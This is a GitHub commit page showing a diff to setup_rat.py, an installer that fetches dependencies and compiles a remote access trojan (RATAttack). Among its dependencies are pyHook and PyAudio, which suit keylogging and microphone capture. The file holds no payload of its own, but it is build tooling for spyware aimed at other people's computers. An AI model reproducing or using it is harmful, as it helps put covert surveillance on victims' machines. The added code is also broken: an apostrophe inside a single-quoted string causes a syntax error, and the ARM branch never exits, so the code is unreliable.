Skip to content
This repository has been archived by the owner on Aug 4, 2020. It is now read-only.

Commit

Permalink
added machine log to setup_rat.py
Browse files Browse the repository at this point in the history
  • Loading branch information
mvrozanti committed Jun 29, 2019
1 parent c7cc54f commit dec3e64
Showing 1 changed file with 11 additions and 5 deletions.
16 changes: 11 additions & 5 deletions setup_rat.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,20 +6,26 @@

if not auto:
input("\nNow going to install dependencies and compile the rat, make sure you have prepped RATAttack.py beforehand\n\n\nPress ENTER to resume")

s('pip install -r requirements.txt')

if machine == '':
print('\nUnable to determine platform.\n');exit()
print('\nUnable to determine platform.\n')
exit(1)
elif machine == 'i386':
fileA = 'https://download.lfd.uci.edu/pythonlibs/h2ufg7oq/PyAudio-0.2.11-cp37-cp37m-win32.whl'
fileB = 'https://download.lfd.uci.edu/pythonlibs/h2ufg7oq/pyHook-1.5.1-cp37-cp37m-win32.whl'
elif machine == 'amd64':
fileA = 'https://download.lfd.uci.edu/pythonlibs/h2ufg7oq/PyAudio-0.2.11-cp37-cp37m-win_amd64.whl'
fileB = 'https://download.lfd.uci.edu/pythonlibs/h2ufg7oq/pyHook-1.5.1-cp37-cp37m-win_amd64.whl'
else:
print("\n\nYou are probably running a processor like ARM. This isn't supported due to the lack of dependencies supporting ARM.")
s('pip install '+fileA);s('pip install '+fileB)
print('\n\nYou are probably running a processor like ARM: "' + machine + '". This isn't supported due to the lack of dependencies supporting ARM.')

s('pip install '+fileA)
s('pip install '+fileB)

if not auto:
input('\n\nDid the install run correctly?\n\n\nPress ENTER to build')

s('compile.bat')
if not auto:
input('\n\nScript has finished')
print('\n\nScript has finished')

0 comments on commit dec3e64

Please sign in to comment.